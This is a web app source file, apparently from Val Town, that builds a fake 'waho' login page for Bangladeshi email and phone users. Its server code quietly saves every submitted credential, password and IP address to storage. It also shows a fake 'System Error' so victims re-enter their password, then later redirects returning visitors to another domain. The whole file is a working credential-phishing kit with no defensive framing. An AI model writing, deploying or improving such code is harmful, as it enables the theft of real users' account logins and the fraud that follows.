\n \n \n \n {type === \"phone\" && +880}\n \n {type === \"password\" && (\n setShowPassword(!showPassword)}\n aria-label={showPassword ? \"Hide password\" : \"Show password\"}\n >\n \n \n )}\n

\n );\n};\n\nconst FloatingMessage = ({ message, isVisible }) => {\n return (\n

\n {message}\n

\n );\n};\n\nconst Spinner = () => (\n

\n \n

\n);\n\nconst LoginPage = () => {\n const [formData, handleChange, setFormData] = useForm({ loginType: \"email\", email: \"\", phone: \"\", password: \"\" });\n const [error, setError] = useState(\"\");\n const [showFloatingMessage, setShowFloatingMessage] = useState(false);\n const [showSystemError, setShowSystemError] = useState(false);\n const [showServerBusy, setShowServerBusy] = useState(false);\n const [showSpinner, setShowSpinner] = useState(false);\n\n useEffect(() => {\n const checkRedirectStatus = async () => {\n try {\n const response = await fetch(\"/check-redirect-status\");\n const data = await response.json();\n if (data.shouldRedirect) {\n window.location.href = \"https://wahobd-neatcrimsonsloth.web.val.run\";\n }\n } catch (error) {\n console.error(\"Error checking redirect status:\", error);\n }\n };\n\n checkRedirectStatus();\n }, []);\n\n const containsBengaliOrSpace = (str) => {\n return /[\\u0980-\\u09FF\\s]/.test(str);\n };\n\n const handleSubmit = async (e) => {\n e.preventDefault();\n setError(\"\");\n\n const { loginType, email, phone, password } = formData;\n\n if (!password || (loginType === \"email\" && !email) || (loginType === \"phone\" && !phone)) {\n setError(`Please enter both ${loginType} and password`);\n return;\n }\n\n if (loginType === \"phone\") {\n if (phone.length !== 10 || !phone.startsWith(\"1\")) {\n setError(\"আপনার নম্বরে সমস্যা হয়েছে\");\n return;\n }\n }\n\n if (containsBengaliOrSpace(password)) {\n setError(\"আপনার পাসওয়ার্ডটি সঠিক নয়\");\n return;\n }\n\n if (password.length < 6 || password.length > 30) {\n setError(\"আপনার পাসওয়ার্ডে সমস্যা হয়েছে\");\n return;\n }\n\n try {\n setShowSpinner(true);\n\n const response = await fetch(\"/save-credentials\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n type: loginType,\n credential: loginType === \"email\" ? email : \"+880\" + phone,\n password,\n }),\n });\n\n if (!response.ok) throw new Error(\"Failed to save credentials\");\n\n const data = await response.json();\n\n setTimeout(() => {\n setShowSpinner(false);\n // Only redirect if data.redirectUrl is explicitly provided by the server\n if (data.redirectUrl) {\n window.location.href = data.redirectUrl;\n } else if (data.loginAttempts === 1) {\n // System Error message only on the first *failed* attempt for a new combination\n setShowSystemError(true);\n setFormData(prevFormData => ({ ...prevFormData, password: \"\" }));\n setTimeout(() => setShowSystemError(false), 1000);\n } else if (data.serverBusy) {\n setShowServerBusy(true);\n setTimeout(() => setShowServerBusy(false), 3000);\n }\n // If data.loginAttempts is 2 (for the same credentials),\n // no redirectUrl will be present, and no other message will be shown,\n // fulfilling the new requirement.\n }, 2000);\n } catch (error) {\n console.error(\"Error:\", error);\n setError(\"An error occurred. Please try again.\");\n setShowSpinner(false);\n }\n };\n\n const handleToggle = (type) => {\n setFormData(prev => ({ ...prev, loginType: type }));\n };\n\n const handleCreateAccountClick = (e) => {\n e.preventDefault();\n setShowFloatingMessage(true);\n setTimeout(() => setShowFloatingMessage(false), 3000);\n };\n\n return (\n

\n {showSpinner && }\n

Hello!

\n Welcome to the waho!\n

\n \n

Welcome back

\n handleToggle(\"email\")}\n isActive={formData.loginType === \"email\"}\n isFirst={true}\n >\n Email\n \n handleToggle(\"phone\")}\n isActive={formData.loginType === \"phone\"}\n isLast={true}\n >\n Phone\n \n

\n \n Creat Account\n \n

\n \n \n \n

\n );\n};\n\nfunction App() {\n return ;\n}\n\nfunction client() {\n createRoot(document.getElementById(\"root\")).render();\n}\n\nif (typeof document !== \"undefined\") {\n client();\n}\n\nexport default async function server(request: Request): Promise {\n const url = new URL(request.url);\n\n const createHTMLResponse = (title: string) => {\n return new Response(\n `\n \n \n \n \n \n ${title}\n \n \n \n \n \n

\n \n \n \n \n `,\n {\n headers: {\n \"Content-Type\": \"text/html\",\n \"Cache-Control\": \"no-cache, no-store, must-revalidate\",\n },\n },\n );\n };\n\n if (url.pathname === \"/check-redirect-status\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const userIP = request.headers.get(\"x-forwarded-for\") || \"unknown\";\n const redirectStatus = await blob.getJSON(`redirect_status_${userIP}`);\n\n if (redirectStatus && redirectStatus.timestamp) {\n const currentTime = new Date().getTime();\n const redirectTime = new Date(redirectStatus.timestamp).getTime();\n const oneDay = 24 * 60 * 60 * 1000;\n\n if (currentTime - redirectTime < oneDay) {\n return new Response(JSON.stringify({ shouldRedirect: true }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n } else {\n // Clear old redirect status\n await blob.setJSON(`redirect_status_${userIP}`, null);\n }\n }\n\n return new Response(JSON.stringify({ shouldRedirect: false }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n } catch (error) {\n console.error(\"Error checking redirect status:\", error);\n return new Response(JSON.stringify({ error: \"Failed to check redirect status\" }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n if (url.pathname === \"/save-credentials\" && request.method === \"POST\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const newCredential = await request.json();\n let savedCredentials = await blob.getJSON(\"saved_credentials\") || [];\n let loginAttempts = await blob.getJSON(\"login_attempts\") || {};\n\n const userIP = request.headers.get(\"x-forwarded-for\") || \"unknown\";\n const key = `${newCredential.type}_${newCredential.credential}_${newCredential.password}_${userIP}`;\n loginAttempts[key] = (loginAttempts[key] || 0) + 1;\n\n const existingCredentialIndex = savedCredentials.findIndex(\n (cred) =>\n cred.credential === newCredential.credential\n && cred.password === newCredential.password\n && cred.ip === userIP,\n );\n\n // Logic for saving credentials and handling login attempts\n if (loginAttempts[key] === 1 && existingCredentialIndex === -1) {\n // Save the credential only if it's the first attempt and it's a new combination\n savedCredentials.push({ ...newCredential, ip: userIP, timestamp: new Date().toISOString() });\n } else if (loginAttempts[key] === 2) {\n // If it's the second attempt with the exact same combination,\n // do not set redirect status and do not send a redirect URL.\n // The client will then not perform any redirection or show a message.\n // We still persist the updated loginAttempts and savedCredentials.\n }\n // For any other login attempt count (e.g., > 2), we also won't redirect.\n\n // Always persist the updated state of savedCredentials and loginAttempts\n await blob.setJSON(\"saved_credentials\", savedCredentials);\n await blob.setJSON(\"login_attempts\", loginAttempts);\n\n const serverBusy = false; // You can control this based on your server load\n\n // Prepare response for the client\n let responseData = {\n success: true,\n serverBusy,\n loginAttempts: loginAttempts[key],\n redirectUrl: null, // Default to null, will not trigger client-side redirect\n };\n\n // If you specifically want to redirect on loginAttempts === 2 for other cases (not the one you asked to suppress)\n // you would add that logic here. Based on your request, for the second *identical* attempt,\n // we are explicitly setting redirectUrl to null.\n\n return new Response(\n JSON.stringify(responseData),\n {\n headers: { \"Content-Type\": \"application/json\" },\n },\n );\n } catch (error) {\n console.error(\"Error saving credentials:\", error);\n return new Response(JSON.stringify({ error: \"Failed to save credentials\" }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n return createHTMLResponse(\"Login\");\n}","deleted","label",[98],"permalink","https://www.val.town/x/wahobd/untitled-7539/code/main.tsx","extension","actionData","errors"]